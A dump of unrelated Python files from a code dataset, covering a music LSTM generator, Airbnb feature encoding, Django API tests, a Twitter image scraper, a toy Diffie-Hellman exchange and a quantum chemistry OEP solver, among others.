encoded_input[i, j, element_to_int[element]] = 1\n for i, sequence in enumerate(sequence_out):\n for j, element in enumerate(sequence):\n encoded_output[i, j, element_to_int[element]] = 1\n\n return (len(elements), encoded_input, encoded_output)\n\n def train(self, model, encoded_input, encoded_output, init_epoch=0):\n #save model checkpoint after each epoch\n checkpoint = ModelCheckpoint(\n \"weights_pop/epoch-{epoch:02d}-loss-{loss:.4f}-v2.hdf5\",\n monitor='loss',\n verbose=0,\n save_best_only=False,\n mode='min'\n )\n callbacks_list = [checkpoint]\n model.fit(encoded_input, encoded_output, validation_split=self.validation_split, epochs=self.epochs, \n batch_size=self.batch_size, callbacks=callbacks_list, initial_epoch=self.epochs)\n\n def build_prediction_sequences(self, notes, step):\n ''' Prepare the sequences used by the Neural Network '''\n \n sequence_in = []\n sequence_out = []\n # get set of all elements in corpus\n elements = sorted(set(item for item in notes))\n # create a dictionary to map pitches to integers\n element_to_int = dict((element, number) for number, element in enumerate(elements))\n int_to_element = dict((number, element) for number, element in enumerate(elements))\n return (len(elements),element_to_int, int_to_element)\n\n def predict(self, model, element_to_int, int_to_element, length_prediction=500, temperature=0.3, primer_seq=None):\n\n if primer_seq:\n cur_elements = primer_seq\n else:\n #random primer note\n cur_elements = [str(random.randint(0,127))]\n i = 0\n while i < length_prediction:\n inputs = cur_elements\n if len(inputs)>60:\n inputs = inputs[-60:]\n x = np.zeros((1, len(inputs),model.input_shape[2]))\n for j, element in enumerate(inputs):\n x[0, j, element_to_int[element]] = 1\n predictions = model.predict(x, verbose=0)[0]\n ix = self._sample(predictions[len(inputs)-1],temperature=temperature)\n next_element = int_to_element[ix]\n cur_elements = cur_elements + [next_element] \n i += 1\n\n return cur_elements\n\n def _sample(self, preds, temperature):\n # helper function to sample an index from a probability array (from Keras library)\n preds = np.asarray(preds).astype('float64')\n preds = np.log(preds + 1e-8) / temperature # Taking the log should be optional? add fudge factor to avoid log(0)\n exp_preds = np.exp(preds)\n preds = exp_preds / np.sum(exp_preds)\n probas = np.random.multinomial(1,preds)\n #print (np.argmax(probas))\n return np.argmax(probas)\n","sub_path":"music_lstm_generator/src/music_lstm_generator/utils/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":5813,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"104955211","text":"\nfrom pythonforandroid.toolchain import PythonRecipe, shprint\nimport sh\n\n\nclass IncrementalRecipe(PythonRecipe):\n version = '17.5.0'\n url = 'https://pypi.python.org/packages/8f/26/02c4016aa95f45479eea37c90c34f8fab6775732ae62587a874b619ca097/incremental-{version}.tar.gz'\n\n depends = [('python2', 'python3crystax'), 'setuptools']\n\n call_hostpython_via_targetpython = False\n install_in_hostpython = True\n\nrecipe = IncrementalRecipe()\n","sub_path":"recipes/incremental/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":447,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"54918569","text":"from fractions import Fraction\nimport math\n\n\ndef decompose_pi_fraction(f:Fraction):\n \"\"\"\n Break a fraction that has a power of two as denominator into a sequence of fractions \n that add up to it, all of which have 1 for numerator.\n\n Adjusts the fraction to be in the (2,0] range\n \"\"\"\n\n # Check that f's denominator is a power of two\n assert(f.denominator & (f.denominator - 1) == 0)\n\n # Adjust to the the (2*pi,0] range\n f = Fraction(f.numerator % (2*f.denominator), f.denominator)\n\n if f.numerator == 0: return [f]\n elif f.numerator == 1: return [f]\n else:\n p = int(math.log(f.numerator, 2))\n largest_pow_of_2 = int(pow(2, p)) \n return [Fraction(largest_pow_of_2, f.denominator)] \\\n + decompose_pi_fraction(Fraction(f.numerator - largest_pow_of_2,f.denominator))\n","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":799,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"291857825","text":"import pandas as pd\nimport numpy as np\n\ndef one_hot_encoding(filename):\n\n airbnb = pd.read_csv(filename)\n dum_df = pd.get_dummies(airbnb, columns=[\"cancellation_policy\"])\n airbnb = airbnb.merge(dum_df).drop(columns=[\"cancellation_policy\"])\n \n dum_df = pd.get_dummies(airbnb, columns=['bed_type'])\n airbnb = airbnb.merge(dum_df).drop(columns=['bed_type'])\n \n dum_df = pd.get_dummies(airbnb, columns=[\"host_response_time\"])\n airbnb = airbnb.merge(dum_df).drop(columns=[\"host_response_time\"])\n \n airbnb.loc[airbnb['property_type'] == 'Bed and breakfast', 'property_type'] = 'Bed & Breakfast'\n airbnb.loc[airbnb['property_type'] == 'Boat', 'property_type'] = 'Houseboat'\n dum_df = pd.get_dummies(airbnb,columns=[\"property_type\"])\n airbnb = airbnb.merge(dum_df).drop(columns=[\"property_type\"])\n \n dum_df = pd.get_dummies(airbnb,columns=[\"room_type\"])\n airbnb = airbnb.merge(dum_df).drop(columns=[\"room_type\"])\n \n airbnb.loc[airbnb['bedrooms'] > 3, 'bedrooms'] = 3\n dum_df = pd.get_dummies(airbnb,columns=[\"bedrooms\"])\n airbnb = airbnb.merge(dum_df).drop(columns=[\"bedrooms\"])\n \n dum_df = pd.get_dummies(airbnb,columns=[\"bathrooms\"])\n airbnb = airbnb.merge(dum_df).drop(columns=[\"bathrooms\"])\n \n airbnb.loc[airbnb['beds'] > 4, 'beds'] = 4\n dum_df = pd.get_dummies(airbnb,columns=[\"beds\"])\n airbnb = airbnb.merge(dum_df).drop(columns=[\"beds\"])\n \n airbnb = airbnb.drop(columns='access')\n airbnb = airbnb.drop(columns='space')\n airbnb = airbnb.drop(columns='monthly_price')\n airbnb = airbnb.drop(columns='latitude')\n airbnb = airbnb.drop(columns='longitude')\n \n airbnb.loc[airbnb['host_is_superhost'] == 't', 'host_is_superhost'] = 1\n airbnb.loc[airbnb['host_is_superhost'] == 'f', 'host_is_superhost'] = 0\n \n airbnb.loc[airbnb['host_identity_verified']=='t', 'host_identity_verified'] =1\n airbnb.loc[airbnb['host_identity_verified']=='f', 'host_identity_verified'] =0\n \n airbnb.loc[airbnb['is_location_exact'] == 't', 'is_location_exact'] = 1\n airbnb.loc[airbnb['is_location_exact'] == 'f', 'is_location_exact'] = 0\n \n airbnb.loc[airbnb['requires_license'] == 'f', 'requires_license'] = 1\n airbnb.loc[airbnb['requires_license'] == 't', 'requires_license'] = 0\n \n airbnb.loc[airbnb['minimum_nights'] > 4, 'minimum_nights'] = 4\n dum_df = pd.get_dummies(airbnb,columns=[\"minimum_nights\"])\n airbnb = airbnb.merge(dum_df).drop(columns=[\"minimum_nights\"])\n \n airbnb.loc[airbnb['guests_included'] > 3, 'guests_included'] = 3\n dum_df = pd.get_dummies(airbnb,columns=[\"guests_included\"])\n airbnb = airbnb.merge(dum_df).drop(columns=[\"guests_included\"])\n \n airbnb.loc[airbnb['accommodates'] > 3, 'accommodates'] = 3\n dum_df = pd.get_dummies(airbnb, columns=[\"accommodates\"])\n airbnb = airbnb.merge(dum_df).drop(columns=['accommodates'])\n \n airbnb['cleaning_fee'] = airbnb['cleaning_fee'].fillna('$0')\n airbnb['cleaning_fee']=airbnb['cleaning_fee'].str.strip('$').astype(float)\n airbnb.loc[airbnb['cleaning_fee'] == 0, 'cleaning_fee'] = 1\n airbnb.loc[airbnb['cleaning_fee'] > 0, 'cleaning_fee'] = 1/airbnb.loc[airbnb['cleaning_fee'] > 0, 'cleaning_fee']\n \n airbnb['security_deposit'] = airbnb['security_deposit'].fillna('$0')\n for index, row in airbnb.iterrows():\n airbnb.loc[index, 'price'] = int(row['price'].strip('$').replace(',', '').split('.')[0])\n airbnb.loc[index, 'security_deposit'] = int(row['security_deposit'].strip('$').replace(',', '').split('.')[0])\n \n avg = airbnb['price'].mean()\n dev = airbnb['price'].std()\n \n for index, row in airbnb.iterrows():\n if row['price'] > avg+dev:\n airbnb.loc[index , 'price'] = '$$$'\n elif (row['price'] < avg+dev) and (row['price'] > avg-dev):\n airbnb.loc[index, 'price'] = '$$'\n else:\n airbnb.loc[index, 'price'] = '$'\n \n if (row['country'] in row['host_location']) or (row['city'] in row['host_location']):\n airbnb.loc[index, 'host_location'] = 'local'\n else:\n airbnb.loc[index, 'host_location'] = 'non-local'\n \n dum_df = pd.get_dummies(airbnb,columns=[\"host_location\"])\n airbnb = airbnb.merge(dum_df).drop(columns=[\"host_location\"])\n \n dum_df = pd.get_dummies(airbnb,columns=[\"price\"])\n airbnb = airbnb.merge(dum_df).drop(columns=['price'])\n \n airbnb.loc[airbnb['security_deposit'] == 0, 'security_deposit'] = 1\n airbnb.loc[airbnb['security_deposit'] > 0, 'security_deposit'] = 1/airbnb.loc[airbnb['security_deposit'] > 0, 'security_deposit']\n \n filename = filename.strip('.csv').strip('translated')+'onehoted.csv'\n airbnb.to_csv(filename)\n\none_hot_encoding('translated_madrid.csv')\none_hot_encoding('translated_edinburgh.csv')\none_hot_encoding('translated_amsterdam.csv')\none_hot_encoding('translated_boston.csv')\none_hot_encoding('translated_paris.csv')\none_hot_encoding('translated_berlin.csv')","sub_path":"one_hot_encoding_1.py","file_name":"one_hot_encoding_1.py","file_ext":"py","file_size_in_byte":4987,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"302330035","text":"from django.test import TestCase\nfrom rest_framework.test import APIClient\nfrom rest_framework import status\nfrom library.models import Author, Book\n\nmock_authors = [\n {'name': 'Bruce Anstey'},\n {'name': 'John Nelson Darby'},\n {'name': 'Mairo Persona'},\n {'name': 'delete me'}\n]\n\nmock_books = [\n {\n 'name': 'Book A',\n 'edition': 'Edition 1',\n 'publication_year': 2004,\n 'authors_id': [\n 1,\n 2\n ]\n },\n {\n 'name': 'Book B',\n 'edition': 'Edition 1',\n 'publication_year': 2014,\n 'authors_id': [\n 2,\n 3\n ]\n },\n {\n 'name': 'Book C',\n 'edition': 'Edition 3',\n 'publication_year': 2004,\n 'authors_id': [\n 1\n ]\n }\n]\n\n\ndef create_mocks():\n for author in mock_authors:\n Author.objects.create(name=author['name'])\n\n for book in mock_books:\n created_book = Book.objects.create(name=book['name'], edition=book, publication_year=book['publication_year'])\n for author_id in book['authors_id']:\n created_book.authors.add(Author.objects.get(pk=author_id))\n\n\nclass AuthorViewSetTest(TestCase):\n \"\"\"\n Test's for Author's endpoint\n \"\"\"\n\n def setUp(self):\n self.url = '/api/authors/'\n self.client = APIClient()\n create_mocks()\n\n def test_create(self):\n res = self.client.post(self.url, {'name': 'Davi'}, format='json')\n self.assertEqual(res.status_code, status.HTTP_201_CREATED)\n\n def test_list(self):\n res = self.client.get(self.url)\n self.assertEqual(res.status_code, status.HTTP_200_OK)\n\n def test_list_with_name(self):\n res = self.client.get(self.url, {'name': 'Bruce Anstey'})\n self.assertEqual(res.status_code, status.HTTP_200_OK)\n self.assertEqual(res.json()['results'][0]['name'], 'Bruce Anstey')\n\n def test_update(self):\n res = self.client.put(self.url+'3', {'name': 'Mario Persona'}, format='json')\n self.assertEqual(res.status_code, status.HTTP_200_OK)\n self.assertEqual(res.json()['name'], 'Mario Persona')\n\n def test_delete(self):\n res = self.client.delete(self.url+'4')\n self.assertEqual(res.status_code, status.HTTP_204_NO_CONTENT)\n\n\nclass BookViewSetTest(TestCase):\n \"\"\"\n Test's for Book's endpoint\n \"\"\"\n\n def setUp(self):\n self.url = '/api/books/'\n self.client = APIClient()\n create_mocks()\n\n def test_create(self):\n data = {\n 'name': 'Book created',\n 'edition': '0.1',\n 'publication_year': 2020,\n 'authors_id': [\n 1\n ]\n }\n res = self.client.post(self.url, data, format='json')\n self.assertEqual(res.status_code, status.HTTP_201_CREATED)\n\n def test_list(self):\n res = self.client.get(self.url)\n self.assertEqual(res.status_code, status.HTTP_200_OK)\n\n def test_list_with_params(self):\n res = self.client.get(self.url, {'publication_year': 2004})\n self.assertEqual(res.status_code, status.HTTP_200_OK)\n self.assertEqual(res.json()['results'][0]['publication_year'], 2004)\n\n def test_update(self):\n data = {\n 'name': 'Updating a Book',\n 'edition': '0.02',\n 'publication_year': 2004,\n 'authors_id': [\n 1,\n 2,\n 3\n ]\n }\n res = self.client.put(self.url+'1', data, format='json')\n self.assertEqual(res.status_code, status.HTTP_200_OK)\n self.assertEqual(res.json()['name'], 'Updating a Book')\n\n def test_delete(self):\n res = self.client.delete(self.url+'3')\n self.assertEqual(res.status_code, status.HTTP_204_NO_CONTENT)\n","sub_path":"library/tests/test_views.py","file_name":"test_views.py","file_ext":"py","file_size_in_byte":3801,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"552020200","text":"\"\"\"\nVersion Manager API\n\"\"\"\n\nfrom core_main_app.commons import exceptions as exceptions\nfrom core_main_app.components.version_manager import api as version_manager_api\nfrom core_main_registry_app.components.custom_resource import (\n api as custom_resource_api,\n)\n\n\n# NOTE: access control by main set current\ndef set_current(version, request):\n \"\"\"Set the current version of the object, then saves it.\n\n Args:\n version:\n request:\n\n Returns:\n\n \"\"\"\n if custom_resource_api.get_all_by_template(version).count() == 0:\n raise exceptions.ApiError(\n \"Please link a Custom Resources file to this template before setting it to current.\"\n )\n version_manager_api.set_current(version, request=request)\n","sub_path":"core_main_registry_app/components/version_manager/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"321381524","text":"import pickle\nimport Preprocess as P\nimport Structurals as S\nimport HighLevels as HL\n\nclass PrimaryMatching():\n def __init__(self, sig_file, tar_file):\n self.sig_file = sig_file\n self.tar_file = tar_file\n\n def preprocess(self, filename):\n p = P.Preprocess(filename)\n p.allWorks()\n return p\n\n def extract(self):\n sig_p = self.preprocess(self.sig_file)\n sig_sf = S.structuralFeatures(sig_p)\n sig_sgc = S.structuralGetCentroid(sig_sf)\n sig_hlf = HL.highLevelFeatures(sig_p)\n\n tar_p = self.preprocess(self.tar_file)\n tar_sf = S.structuralFeatures(tar_p)\n tar_sgc = S.structuralGetCentroid(tar_sf)\n tar_hlf = HL.highLevelFeatures(tar_p)\n return sig_sgc, sig_hlf, tar_sgc, tar_hlf\n\n def matching(self, sig_f, tar_f):\n sim_structural = S.structuralCompare(sig_f, tar_f)\n sim_high_level = HL.highLevelCompare(sig_f, tar_f)\n W = min(sig_f['instructions_num'] / tar_f['instructions_num'], tar_f['instructions_num'] / sig_f['instructions_num'])\n sim = (1 - W / 2) * sim_high_level + W / 2 * sim_structural\n return sim\n\n def backup(self, sig_dst, sig, tar_dst, tar):\n with open(sig_dst, 'wb') as handle:\n pickle.dump(sig, handle)\n with open(tar_dst, 'wb') as handle:\n pickle.dump(tar, handle)\n","sub_path":"BINGO-E/PrimaryMatching.py","file_name":"PrimaryMatching.py","file_ext":"py","file_size_in_byte":1365,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"125348015","text":"from random import random\nimport numpy as np\n\nclass NonUnif:\n\n def __init__(self, *params):\n self.X, self.p = np.split(np.array(params), 2)\n\n def simulate(self):\n k = 0\n F = self.p[0]\n u = random()\n while u >= F:\n k = k + 1\n F = F + self.p[k]\n return int(self.X[k])\n","sub_path":"Distribuții/NonUniform.py","file_name":"NonUniform.py","file_ext":"py","file_size_in_byte":336,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"550955502","text":"def diffie_hellman(p, g, a, b):\n A = (g ** a) % p\n B = (g ** b) % p\n key = (A ** b) % p\n print(A, B, key)\n\n\nif __name__ == '__main__':\n p, g, a, b = input().split()\n diffie_hellman(int(p), int(g), int(a), int(b))\n","sub_path":"diffie-hellman/dh.py","file_name":"dh.py","file_ext":"py","file_size_in_byte":231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"8686947","text":"#このプログラムではツイッターから画像を保存してみようというものである\r\n#まだ未完成\r\nfrom bs4 import BeautifulSoup\r\nimport lxml\r\nimport requests\r\nimport urllib.request\r\nimport sys, os\r\n\r\nquery_word = input(\"検索ワード:\")\r\nquery_num = input(\"取得したい枚数:\")\r\n#htmlから特定の文字列を取得するためにbeautifulsoup使う\r\nheaders = {\"User-Agent\": \"hoge\"}\r\nurl=\"https://twitter.com/search?f=images&q=%E7%94%9F%E7%94%B0%E7%B5%B5%E6%A2%A8%E8%8A%B1%E3%80%80%E3%81%8B%E3%82%8F%E3%81%84%E3%81%84&src=typd&prefetchTimestamp=1571291996503\".format(query_word)\r\n#htmlを取得\r\nresponse = requests.get(url, timeout=1, headers=headers)\r\n#htmlから特定の文字列を取得\r\nbs = BeautifulSoup(response.text, 'lxml')\r\nimgs = bs.find_all('img')\r\nquery_num = int(query_num)\r\nfor i in range(query_num):\r\n dir_name = \"C:\\\\Users\\\\kuwahara\\\\Desktop\\\\Programming\\\\python\\\\.pyfile\\\\scrape\\\\data\\\\{0}\".format(query_word)\r\n if not os.path.exists(dir_name):\r\n os.makedirs(dir_name)\r\n #format()の使い方: {}のなかにformat関数の引数が入る\r\n filepath = \"C:\\\\Users\\\\kuwahara\\\\Desktop\\\\Programming\\\\python\\\\.pyfile\\\\scrape\\\\data\\\\{0}\\\\{1}.jpg\".format(query_word, i)\r\n print(imgs[i]['src'])\r\n urllib.request.urlretrieve(imgs[i]['src'], filepath)\r\n","sub_path":"scrape/twitter.py","file_name":"twitter.py","file_ext":"py","file_size_in_byte":1325,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"350877863","text":"# -*- coding: utf-8 -*-\n\nimport os,hashlib\nimport drape\nimport frame\n\nclass UploadImage(frame.EmptyFrame):\n\tdef process(self):\n\t\tself.initRes()\n\t\t\n\t\taParams = self.params()\n\t\taccept = aParams.get('accept','')\n\t\tself.setVariable('accept',accept)\n\nclass UploadImageResult(frame.EmptyFrame):\n\tdef process(self):\n\t\tself.initRes()\n\t\t\n\t\taParams = self.params()\n\t\taccept = aParams.get('accept','')\n\t\tself.setVariable('accept',accept)\n\t\t\n\t\tdef checkFileType(fileType,acceptType):\n\t\t\tif '' == acceptType:\n\t\t\t\treturn True\n\t\t\tl = acceptType.split(',')\n\t\t\tif fileType in l:\n\t\t\t\treturn True\n\t\t\telse:\n\t\t\t\treturn False\n\t\t\n\t\tkey = 'file'\n\t\taFiles = self.files()\n\t\t\n\t\tif key in aFiles:\n\t\t\tmyfile = aFiles[key]\n\t\t\t\n\t\t\timport drape.debug\n\t\t\tdrape.debug.debug(myfile.type)\n\t\t\tif not checkFileType(myfile.type,accept):\n\t\t\t\tself.setVariable('result','文件类型错误')\n\t\t\t\treturn\n\t\t\t\n\t\t\tsufix = os.path.splitext(myfile.filename)[1][1:]\n\t\t\t\n\t\t\tm = hashlib.sha1()\n\t\t\tm.update(myfile.file.read())\n\t\t\tsaveFileName = m.hexdigest()\n\t\t\t\n\t\t\tfilepath = '%s.%s'%(saveFileName,sufix)\n\t\t\t\n\t\t\tsavepath = self.saveUploadFile(myfile,filepath)\n\t\t\tself.setVariable('savepath',savepath)\n\t\t\tself.setVariable('result','success')\n\t\telse:\n\t\t\tself.setVariable('result','未上传文件')\n","sub_path":"app/controller/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":1246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"53771962","text":"tabby_cat = \"\\tI'm tabbed in.\" #\\t instructs to tab in\npersian_cat = \"I'm split\\non a line.\" #\\n instructs to move to next line (like hitting return)\nbackslash_cat = \"I'm \\\\ a \\\\ cat.\" #\\\\ inputs a \\ - escape function from the first \\ -- twice in this case\n\nfat_cat = \"\"\"\nI'll do a list:\n\\t * Cat food\n\\t * Fishies\n\\t * Catnip\\n\\t * Grass\n\"\"\"\n\nprint(tabby_cat)\nprint(persian_cat)\nprint(backslash_cat)\nprint(fat_cat)\n","sub_path":"ex10.py","file_name":"ex10.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"128992330","text":"import speech_to_text_v1, text_to_speech_v1\nimport play_audio\nimport speech_capture\nimport time\n\npause = time.sleep(2)\n\ndef oFile(text_file):\n n_text_file = open(text_file, 'r')\n rLine = n_text_file.readline()\n return rLine\n\nspeech_capture.recNow()\n\nprint('audio to play now')\n\ntext_to_speech_v1.TTS(oFile('../resources/text_files/acknowledge.txt'))\nplay_audio.playAudio('output')\npause\n\nplay_audio.playAudio('speech')\n\nprint('no invoke STT')\n\n# speech_to_text_v1.STT()\n\nprint('do something with it')\n\n\ntime.sleep(4)\n\ntext_to_speech_v1.TTS(oFile('../resources/text_files/confirm.txt'))\nplay_audio.playAudio('output')\npause\n\ntext_to_speech_v1.TTS(oFile('../resources/text_files/standby.txt'))\nprint('audio to play now')\n\nplay_audio.playAudio('output')","sub_path":"caren/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"392280725","text":"# simple wu-yang oep\n#%%\n\nimport opt_einsum\nimport numpy as np\nimport scipy\n\ndef clean_array(A, crit=1e-16): \n A[abs(A) < crit] = 0\n\ndef solve_KS(b, integrals_3c1e, H, S, mo_occ):\n V_oep = opt_einsum.contract('ijt,t->ij', integrals_3c1e, b)\n F = H + V_oep\n e, c = scipy.linalg.eigh(F, S) \n mocc = c[:, mo_occ>0]\n dm = np.dot(mocc * mo_occ[mo_occ>0], mocc.T.conj())\n return e, c, dm, V_oep\n\ndef Grad(dm_diff, integrals_3c1e):\n g = opt_einsum.contract('ij,ijt->t', dm_diff, integrals_3c1e)\n clean_array(g)\n return g\n\ndef Hess(C, E, n_occ, integrals_3c1e):\n V_in_MO = opt_einsum.contract('ui,uvb,vx->ixb', C[:,:n_occ], integrals_3c1e, C[:,n_occ:])\n E_diff_inv = 1 / ( np.outer(E[:n_occ], np.ones_like(E)[n_occ:]) - np.outer(np.ones_like(E)[:n_occ], E[n_occ:]) )\n hess = 4.0 * opt_einsum.contract('ixb,ixd,ix->bd', V_in_MO, V_in_MO, E_diff_inv)\n return hess\n\ndef line_search(vb, grad, p, integrals_3c1e, H, S, mo_occ, dm_in):\n conv_crit = 1.e-6\n alpha = 1.e-4\n\n slope = -np.dot(grad, grad)\n f_old = -0.5 * slope\n lambda1 = 1.0\n vb_new = np.empty(vb.shape, dtype=float)\n f2 = 0.0; lambda2 = 0.0\n while True:\n # print(\"max_b=\", np.max(vb))\n # print(\"max p=\", np.max(p)) \n # print(\"lambda1=\", lambda1)\n vb_new = vb + lambda1 * p\n # print(\"sum_b_new=\", np.sum(vb_new))\n _, _, dm, _ = solve_KS(\n vb_new, \n integrals_3c1e, \n H, S, \n mo_occ) \n g_new = Grad(dm-dm_in, integrals_3c1e)\n f_new = 0.5 * np.dot(g_new, g_new)\n #print(\"g_new\", np.sum(np.abs(g_new)), \"f_new\", f_new, \"f_old=\", f_old, \"slope=\", slope)\n if lambda1 < conv_crit:\n return vb_new, lambda1, g_new, True\n if f_new <= f_old + alpha * lambda1 * slope:\n # print(\"f_old=\", f_old, \"slope=\", slope)\n return vb_new, lambda1, g_new, False\n if lambda1 == 1.0:\n tmp_lambda1 = -slope / (2.0 * (f_new - f_old - slope))\n else:\n rhs1 = f_new - f_old - lambda1 * slope\n rhs2 = f2 - f_old - lambda2 * slope\n a = (rhs1 / (lambda1 * lambda1) - rhs2 / (lambda2 * lambda2)) / (lambda1 - lambda2)\n b = (-lambda2 * rhs1 / (lambda1 * lambda1) + lambda1 * rhs2 / (lambda2 * lambda2)) / (lambda1 - lambda2)\n if abs(a) < 1.e-10:\n tmp_lambda1 = -slope / (2.0 * b)\n else:\n disc = b * b - 3.0 * a * slope\n if disc < 0.0:\n tmp_lambda1 = 0.5 * lambda1\n elif b <= 0.0:\n tmp_lambda1 = (-b + np.sqrt(disc)) / (3.0 * a)\n else:\n tmp_lambda1 = -slope / (b + np.sqrt(disc))\n if tmp_lambda1 > 0.5 * lambda1:\n tmp_lambda1 = 0.5 * lambda1\n lambda2 = lambda1\n f2 = f_new\n lambda1 = max(tmp_lambda1, 0.1 * lambda1)\n\ndef solve_SVD(A, b, cut=1.0e-10):\n cut_value = 0.0\n #cut_value = 1.0/cut\n e, P = np.linalg.eigh(A)\n e_inv = np.where(np.abs(e)>cut, 1.0/e, cut_value)\n invA = opt_einsum.contract('ik,k,jk->ij', P, e_inv, P)\n invA = (invA + invA.T) * 0.5\n x = np.matmul(invA, b)\n return x \n\ndef oep_search(dm_target, H, S, ne, integrals_3c1e, max_itr, oep_crit):\n mem = 0\n print('Start searching...')\n print('# iter sum abs grad max abs grad # elec lambda')\n print('--------------------------------------------------------------------------------')\n n = len(S)\n b = np.zeros(n)\n mo_occ = np.zeros(n)\n mo_occ[:ne//2] = 2\n n_occ = ne//2\n converged = False\n for i in range(max_itr): \n clean_array(b)\n E, C, dm, _ = solve_KS(\n b,\n integrals_3c1e, \n H, S, \n mo_occ)\n g = Grad(dm-dm_target, integrals_3c1e) \n print('%5d\\t%16.8e\\t%16.8e\\t%.6lf' % \n (\n i+1, \n np.sum(abs(g)), \n np.max(abs(g)), \n np.einsum('ij,ji->', dm, S),\n ), \n end='') \n if np.all(abs(g) < oep_crit):\n converged = True\n print()\n break \n hess = Hess(C, E, n_occ, integrals_3c1e)\n #print(\"Hs, gd\", np.sum(hess), np.sum(g))\n p = -solve_SVD(hess, g, 1.0e-10)\n clean_array(p)\n if i != 0:\n p = (1-mem) * p + mem * old_p \n b, update_lambda, g, stop_iter = line_search(b, g, p, integrals_3c1e, H, S, mo_occ, dm_target)\n #print(b) \n if stop_iter:\n print('\\n\\tSeems to find solution. Check...')\n if np.all(abs(g) < oep_crit): \n converged = True\n else:\n print('\\tFail...Halt...')\n converged = False\n break\n else:\n print('%12.4e' % (update_lambda))\n old_p = p\n \n if converged: \n print('OEP search converged.')\n else:\n print('OEP search failed.')\n return b\n\n\n#%%\n\nif __name__ == '__main__':\n from molecule import Molecule\n # # mol_h2o = Molecule(struc_path='./H2O.str', basis_name='aug-cc-pvqz')\n # from gen_molecules import gen_water_mols_sym\n # ang = 104.15 / 180 * np.pi\n # bd = 0.9584\n # mol_h2o = gen_water_mols_sym([ang], [bd], 'aug-cc-pvqz')[0]\n # mol_h2o.grid = 3\n # from pyscf.dft import numint\n # # pyscf_phi = numint.eval_ao(mol_h2o.pyscf_mol, mol_h2o.grid_coords, deriv=0)\n # # phi_diff = mol_h2o.phi.squeeze().T - pyscf_phi\n # # max_phi_diff = np.max(phi_diff, 0)\n # # print(phi_diff.min())\n \n # import time\n\n\n # mol_h2o.dm_ccsd\n\n # t0=time.time()\n # ao_values = numint.eval_ao(mol_h2o.pyscf_mol, mol_h2o.grid_coords, deriv=0)\n # t1=time.time()\n # print('pyscf-phi: ', t1-t0)\n\n\n # rho_ccsd_pyscf = numint.eval_rho(mol_h2o.pyscf_mol, ao_values, mol_h2o.dm_ccsd, xctype='lda')\n # t2=time.time()\n # print('pyscf-rho: ', t2-t1)\n \n\n # mol_h2o.phi\n # t3 = time.time()\n # print('mol-phi: ', t3-t2)\n # rho_ccsd = mol_h2o.rho('ccsd')\n # t4 = time.time()\n # print('mol-rho: ', t4-t3)\n \n import gen_molecules\n eql_hch = 116.133 / 180 * np.pi\n eql_ch = 1.111\n eql_co = 1.205\n mol = Molecule(struc_dict = gen_molecules.gen_sym_formaldehyde_struc_dict(eql_hch, eql_ch, eql_co), \n basis_name='aug-cc-pvdz')\n # eql_hh = 0.7414\n # mol = Molecule(struc_dict = gen_molecules.gen_H2_struc_dict(eql_hh),\n # basis_name = 'aug-cc-pvdz')\n mol.grid = 3\n dft_rho = mol.rho('dft')\n hf_rho = mol.rho('hf')\n hf_fixed_rho = mol.rho('hf_fixed')\n oep_rho = mol.rho('oep')\n ccsd_rho = mol.rho('ccsd')\n oep_ccsd_diff = oep_rho - ccsd_rho\n print(oep_ccsd_diff.shape)\n hf_ccsd_diff = hf_rho - ccsd_rho\n hf_fixed_ccsd_diff = hf_fixed_rho - ccsd_rho\n hf_fixed_hf_diff = hf_fixed_rho - hf_rho\n dft_ccsd_diff = dft_rho - ccsd_rho\n print('max_err_oep:', np.abs(oep_ccsd_diff).max())\n print('max_err_hf:', np.abs(hf_ccsd_diff).max())\n print('max_err_dft:', np.abs(dft_ccsd_diff).max())\n print('max_err_hf_fixed:', np.abs(hf_fixed_ccsd_diff).max())\n print('max_err_hf_fixed_to_hf:', np.abs(hf_fixed_hf_diff).max())\n # print('max_hf_dft:', np.abs(dft_rho-hf_rho).max())\n\n\n from pyscf.dft import numint\n pyscf_phi = numint.eval_ao(mol.pyscf_mol, mol.grid_coords, deriv=0)\n phi_diff = mol.phi.squeeze().T - pyscf_phi\n max_phi_diff = np.max(phi_diff, 0)\n print(phi_diff.min())\n\n\n # print(np.abs(rho_ccsd - rho_ccsd_pyscf).max())\n\n # mol_h2o.grid = 9\n # dft_rho = mol_h2o.rho('dft')\n # hf_rho = mol_h2o.rho('hf')\n # oep_rho = mol_h2o.rho('oep')\n # ccsd_rho = mol_h2o.rho('ccsd')\n # oep_ccsd_diff = oep_rho - ccsd_rho\n # hf_ccsd_diff = hf_rho - ccsd_rho\n # dft_ccsd_diff = dft_rho - ccsd_rho\n # print('max_err_oep:', np.abs(oep_ccsd_diff).max())\n # print('max_err_hf:', np.abs(hf_ccsd_diff).max())\n # print('max_err_dft:', np.abs(dft_ccsd_diff).max())\n # print('max_hf_dft:', np.abs(dft_rho-hf_rho).max())\n \n\n\n#%%\n from find_coords import find_idx\n \n import matplotlib.pyplot as 